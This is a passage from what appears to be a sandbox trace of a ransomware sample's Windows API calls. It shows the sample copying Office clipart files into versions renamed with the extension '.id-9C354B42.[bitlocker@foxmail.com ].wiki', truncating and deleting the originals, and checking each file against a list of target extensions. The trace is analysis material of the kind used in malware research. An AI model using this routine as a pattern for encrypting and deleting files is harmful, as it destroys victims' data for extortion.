(lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0064.706] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=9818) returned 1 [0064.706] CloseHandle (hObject=0x1a4) returned 1 [0064.706] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf")) returned 0x20 [0064.707] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0064.707] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0064.707] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0064.707] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0064.707] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0064.707] GetLastError () returned 0x0 [0064.707] ReadFile (in: hFile=0x1a4, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x265a, lpOverlapped=0x0) returned 1 [0064.709] WriteFile (in: hFile=0x224, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x2660, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0x2660, lpOverlapped=0x0) returned 1 [0064.710] ReadFile (in: hFile=0x1a4, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0064.710] WriteFile (in: hFile=0x224, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0064.710] SetEndOfFile (hFile=0x224) returned 1 [0064.710] CloseHandle (hObject=0x224) returned 1 [0064.710] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0064.710] SetEndOfFile (hFile=0x1a4) returned 1 [0064.711] CloseHandle (hObject=0x1a4) returned 1 [0064.711] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0064.711] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf")) returned 1 [0064.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0064.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0064.711] lstrlenW (lpString=".doc") returned 4 [0064.711] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0064.711] lstrlenW (lpString=".docx") returned 5 [0064.711] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0064.711] lstrlenW (lpString=".pdf") returned 4 [0064.711] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0064.712] lstrlenW (lpString=".xls") returned 4 [0064.712] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0064.712] lstrlenW (lpString=".xlsx") returned 5 [0064.712] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0064.712] lstrlenW (lpString=".ppt") returned 4 [0064.712] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0064.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0064.712] lstrlenW (lpString=".zip") returned 4 [0064.712] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0064.712] lstrlenW (lpString=".rar") returned 4 [0064.712] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0064.712] lstrlenW (lpString=".bz2") returned 4 [0064.712] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0064.712] lstrlenW (lpString=".7z") returned 3 [0064.712] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0064.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0064.712] lstrlenW (lpString=".dbf") returned 4 [0064.712] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0064.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0064.712] lstrlenW (lpString=".1cd") returned 4 [0064.712] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0064.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0064.712] lstrlenW (lpString=".jpg") returned 4 [0064.712] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0064.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0064.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0064.712] lstrlenW (lpString=".doc") returned 4 [0064.712] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0064.712] lstrlenW (lpString=".docx") returned 5 [0064.712] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0064.712] lstrlenW (lpString=".pdf") returned 4 [0064.712] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0064.712] lstrlenW (lpString=".xls") returned 4 [0064.712] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0064.713] lstrlenW (lpString=".xlsx") returned 5 [0064.713] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0064.713] lstrlenW (lpString=".ppt") returned 4 [0064.713] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0064.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0064.713] lstrlenW (lpString=".zip") returned 4 [0064.713] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0064.713] lstrlenW (lpString=".rar") returned 4 [0064.713] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0064.713] lstrlenW (lpString=".bz2") returned 4 [0064.713] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0064.713] lstrlenW (lpString=".7z") returned 3 [0064.713] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0064.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0064.713] lstrlenW (lpString=".dbf") returned 4 [0064.713] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0064.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0064.713] lstrlenW (lpString=".1cd") returned 4 [0064.713] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0064.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0064.713] lstrlenW (lpString=".jpg") returned 4 [0064.713] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0064.713] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0064.713] lstrlenW (lpString="BL00045_.WMF") returned 12 [0064.713] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0064.714] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=7862) returned 1 [0064.714] CloseHandle (hObject=0x1a4) returned 1 [0064.714] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf")) returned 0x20 [0064.714] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0064.714] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0064.714] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0064.714] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0064.714] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0064.714] GetLastError () returned 0x0 [0064.714] ReadFile (in: hFile=0x1a4, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x1eb6, lpOverlapped=0x0) returned 1 [0064.716] WriteFile (in: hFile=0x224, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x1ec0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0x1ec0, lpOverlapped=0x0) returned 1 [0064.717] ReadFile (in: hFile=0x1a4, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0064.717] WriteFile (in: hFile=0x224, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0064.717] SetEndOfFile (hFile=0x224) returned 1 [0064.717] CloseHandle (hObject=0x224) returned 1 [0064.717] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0064.717] SetEndOfFile (hFile=0x1a4) returned 1 [0064.718] CloseHandle (hObject=0x1a4) returned 1 [0064.718] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0064.718] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf")) returned 1 [0064.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0064.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0064.718] lstrlenW (lpString=".doc") returned 4 [0064.718] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0064.718] lstrlenW (lpString=".docx") returned 5 [0064.718] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0064.718] lstrlenW (lpString=".pdf") returned 4 [0064.718] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0064.718] lstrlenW (lpString=".xls") returned 4 [0064.718] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0064.718] lstrlenW (lpString=".xlsx") returned 5 [0064.719] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0064.719] lstrlenW (lpString=".ppt") returned 4 [0064.719] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0064.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0064.719] lstrlenW (lpString=".zip") returned 4 [0064.719] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0064.719] lstrlenW (lpString=".rar") returned 4 [0064.719] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0064.719] lstrlenW (lpString=".bz2") returned 4 [0064.719] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0064.719] lstrlenW (lpString=".7z") returned 3 [0064.719] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0064.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0064.719] lstrlenW (lpString=".dbf") returned 4 [0064.719] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0064.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0064.719] lstrlenW (lpString=".1cd") returned 4 [0064.719] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0064.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0064.719] lstrlenW (lpString=".jpg") returned 4 [0064.719] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0064.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0064.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0064.719] lstrlenW (lpString=".doc") returned 4 [0064.719] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0064.719] lstrlenW (lpString=".docx") returned 5 [0064.719] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0064.719] lstrlenW (lpString=".pdf") returned 4 [0064.719] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0064.719] lstrlenW (lpString=".xls") returned 4 [0064.719] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0064.719] lstrlenW (lpString=".xlsx") returned 5 [0064.719] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0064.719] lstrlenW (lpString=".ppt") returned 4 [0064.719] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0064.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0064.720] lstrlenW (lpString=".zip") returned 4 [0064.720] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0064.720] lstrlenW (lpString=".rar") returned 4 [0064.720] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0064.720] lstrlenW (lpString=".bz2") returned 4 [0064.720] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0064.720] lstrlenW (lpString=".7z") returned 3 [0064.720] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0064.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0064.720] lstrlenW (lpString=".dbf") returned 4 [0064.720] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0064.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0064.720] lstrlenW (lpString=".1cd") returned 4 [0064.720] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0064.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0064.720] lstrlenW (lpString=".jpg") returned 4 [0064.720] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0064.720] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0064.720] lstrlenW (lpString="BL00098_.WMF") returned 12 [0064.720] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0064.720] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=1012) returned 1 [0064.721] CloseHandle (hObject=0x1a4) returned 1 [0064.721] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf")) returned 0x20 [0064.721] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0064.721] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0064.721] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0064.721] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0064.721] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0064.721] GetLastError () returned 0x0 [0064.721] ReadFile (in: hFile=0x1a4, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x3f4, lpOverlapped=0x0) returned 1 [0065.790] WriteFile (in: hFile=0x224, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0x400, lpOverlapped=0x0) returned 1 [0065.815] ReadFile (in: hFile=0x1a4, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0065.815] WriteFile (in: hFile=0x224, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0065.816] SetEndOfFile (hFile=0x224) returned 1 [0065.816] CloseHandle (hObject=0x224) returned 1 [0065.816] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0065.816] SetEndOfFile (hFile=0x1a4) returned 1 [0065.818] CloseHandle (hObject=0x1a4) returned 1 [0065.819] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0065.819] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00098_.wmf")) returned 1 [0065.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0065.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0065.819] lstrlenW (lpString=".doc") returned 4 [0065.819] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0065.819] lstrlenW (lpString=".docx") returned 5 [0065.819] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0065.819] lstrlenW (lpString=".pdf") returned 4 [0065.819] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0065.819] lstrlenW (lpString=".xls") returned 4 [0065.819] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0065.819] lstrlenW (lpString=".xlsx") returned 5 [0065.819] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0065.819] lstrlenW (lpString=".ppt") returned 4 [0065.819] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0065.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0065.819] lstrlenW (lpString=".zip") returned 4 [0065.819] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0065.819] lstrlenW (lpString=".rar") returned 4 [0065.819] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0065.819] lstrlenW (lpString=".bz2") returned 4 [0065.819] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0065.820] lstrlenW (lpString=".7z") returned 3 [0065.820] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0065.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0065.820] lstrlenW (lpString=".dbf") returned 4 [0065.820] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0065.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0065.820] lstrlenW (lpString=".1cd") returned 4 [0065.820] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0065.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0065.820] lstrlenW (lpString=".jpg") returned 4 [0065.820] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0065.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0065.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0065.820] lstrlenW (lpString=".doc") returned 4 [0065.820] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0065.820] lstrlenW (lpString=".docx") returned 5 [0065.820] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0065.820] lstrlenW (lpString=".pdf") returned 4 [0065.820] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0065.820] lstrlenW (lpString=".xls") returned 4 [0065.820] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0065.820] lstrlenW (lpString=".xlsx") returned 5 [0065.820] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0065.820] lstrlenW (lpString=".ppt") returned 4 [0065.820] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0065.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0065.820] lstrlenW (lpString=".zip") returned 4 [0065.820] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0065.820] lstrlenW (lpString=".rar") returned 4 [0065.820] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0065.820] lstrlenW (lpString=".bz2") returned 4 [0065.820] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0065.820] lstrlenW (lpString=".7z") returned 3 [0065.820] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0065.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0065.821] lstrlenW (lpString=".dbf") returned 4 [0065.821] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0065.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0065.821] lstrlenW (lpString=".1cd") returned 4 [0065.821] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0065.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 63 [0065.821] lstrlenW (lpString=".jpg") returned 4 [0065.821] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0065.821] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0065.821] lstrlenW (lpString="BL00262_.WMF") returned 12 [0065.821] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0066.240] GetFileSizeEx (in: hFile=0x224, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=2556) returned 1 [0066.240] CloseHandle (hObject=0x224) returned 1 [0066.241] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf")) 